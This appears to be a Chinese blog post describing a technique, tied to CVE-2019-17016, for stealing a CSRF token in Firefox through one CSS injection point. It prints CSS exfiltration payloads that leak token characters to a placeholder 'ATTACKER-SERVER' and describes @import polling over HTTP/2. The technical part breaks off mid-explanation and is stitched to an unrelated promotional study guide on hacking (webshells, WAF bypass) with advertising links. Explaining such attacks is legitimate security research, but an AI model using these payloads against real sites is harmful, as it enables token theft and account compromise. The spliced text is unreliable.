看我如何利用单一注入点从Firefox浏览器中提取CSS数据

在几个月之前,我在Firefox浏览器中发现了一个安全漏洞,这个漏洞就是CVE-2019-17016。在分析这个安全漏洞的过程中,我发现了一种新技术,即利用单一注入点从Firefox浏览器中提取CSS数据。在这篇文章中,我将跟大家详细介绍这项技术。

基础技术和现有技术

在我们的演示样例中,假设我们想获取元素中的CSRF令牌:

"hidden" name="csrftoken" value="SOME_VALUE"> 

可能是由于内容安全策略的原因,这里我们无法使用脚本来实现这个目的,因此我们尝试寻找基于样式的注入点。一般来说,我们会选择使用属性选择器:

input[name='csrftoken'][value^='a'] {background: url(//ATTACKER-SERVER/leak/a);}input[name='csrftoken'][value^='b'] {background: url(//ATTACKER-SERVER/leak/b);}...input[name='csrftoken'][value^='z'] {background: url(//ATTACKER-SERVER/leak/z);} 

如果这里部署了CSS规则,那么攻击者就可以获取一个HTTP请求,然后提取令牌的第一个字符。接下来,攻击者需要准备另一个样式表,其中需要包含已窃取的第一个字符:

input[name='csrftoken'][value^='aa'] {background: url(//ATTACKER-SERVER/leak/aa);}input[name='csrftoken'][value^='ab'] {background: url(//ATTACKER-SERVER/leak/ab);}...input[name='csrftoken'][value^='az'] {background: url(//ATTACKER-SERVER/leak/az);} 

此时,攻击者需要重新加载目标页面中的以提供后续的样式表。 在2018年,Pepe Vila提供了一种利用CSS递归导入的方式实现在Chrome浏览器中的单一注入点利用技术。而在2019年,Nathanial Lattimer(@d0nutptr)基于该技术重新提出了一种 改进方案,这种技术比较适用于本文针对Firefox浏览器的场景。 在第一次注入时,我们需要用到大量import:

@import url(//ATTACKER-SERVER/polling?len=0);@import url(//ATTACKER-SERVER/polling?len=1);@import url(//ATTACKER-SERVER/polling?len=2); 

该技术的运行机制如下: 首先,在一开始只有第一个@import会返回一个样式表,其他语句处于连接阻塞状态。此时,第一个@import返回目标样式表,其中包含了令牌的第一个字符。接下来,当泄露的第一个令牌抵达攻击者的服务器端ATTACKER-SERVER之后,第二个@import将停止阻塞,并返回包含令牌第一个字符的样式表,然后尝试获取令牌中的第二个字符。最后,当第二个泄露字符到达攻击者的服务器端ATTACKER-SERVER之后,第三个@import将停止阻塞……以此类推。这种技术之所以有效,是因为Chrome会采用异步方式处理@import,因此当任何@import停止阻塞时,Chrome会立即解析该语句并应用执行。

Firefox与样式表处理

跟Chrome相比,Firefox针对样式表的处理方式完全不同。首先,Firefox会采用同步方式处理样式表。因此,当样式表中有多个@import时,只有当所有@import都处理完毕时CSS规则才会被应用。比如说:

style>@import '/polling/0';@import '/polling/1';@import '/polling/2';style> 

假设第一个@import返回CSS规则时,会将页面背景设置为蓝色,后面的@import将处于阻塞状态。在Chrome中,页面会立即变成蓝色,但是在Firefox中却不会有任何反应。此时,我们可以将所有的@import单独放在元素中:

style>@import '/polling/0';style>style>@import '/polling/1';style>style>@import '/polling/2';style> 

在上述代码中,Firefox会分别处理所有的样式表,此时Firefox中的页面会立刻变蓝色,其他的@import会在后台进行处理。不过这里还有一个问题,比如说我们想窃取包含10个字符的令牌:

style>@import '/polling/0';style>style>@import '/polling/1';style>style>@import '/polling/2';style>...style>@import '/polling/10';style> 

Firefox会立即将10个@import加入队列。在处理完第一个@import之后,Firefox会将带有已知字符的另一个请求加入队列。问题就在于,该请求会被追加到队尾处。在默认情况下,浏览器跟同一个服务器只能建立六条并发链接。因此,带有已知字符的请求永远不会到达目标服务器,因为该服务器已经有六条阻塞链接了,此时便会发生死锁。解决方案:HTTP/2六条并发链接的限制是由TCP层决定的,因此单台服务器同时只能存在六条TCP链接。而HTTP/2的其中一个优势就在于,它支持通过单个链接来发送多个HTTP请求(即多路复用),从而大大提升网络性能。但是,Firefox针对单个HTTP/2连接的并发请求数也有限制,默认配置下限制数量为100条。如果需要使用更多的并发链接,则需要使用不同的主机名来设置,并强制Firefox创建第多条TCP链接。比如说,如果我们创建到https://localhost:3000的100个请求,然后又创建到https://127.0.0.1:3000的50个请求,那么Firefox就会创建两条TCP链接。

利用技术

技术利用场景如下: 1、代码基于HTTP/2实现; 2、“/polling/:session/:index”节点会返回一个CSS并泄露第“:index”个字符。该请求会处于阻塞状态,直到前一个请求成功泄露第“:index-1”个字符为止。其中,“:session”路径参数用来区分多次攻击行为。学习网络安全技术的方法无非三种:

第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。

第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

第三种就是去找培训。

image.png

接下来,我会教你零基础入门快速入门上手网络安全。

网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。

第一阶段:基础准备 4周~6周

这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
image.png

第二阶段:web渗透

学习基础 时间:1周 ~ 2周:

① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
image.png

配置渗透环境 时间:3周 ~ 4周:

① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。

渗透实战操作 时间:约6周:

① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
image.png
以上就是入门阶段

第三阶段:进阶

已经入门并且找到工作之后又该怎么进阶?详情看下图
image.png

给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值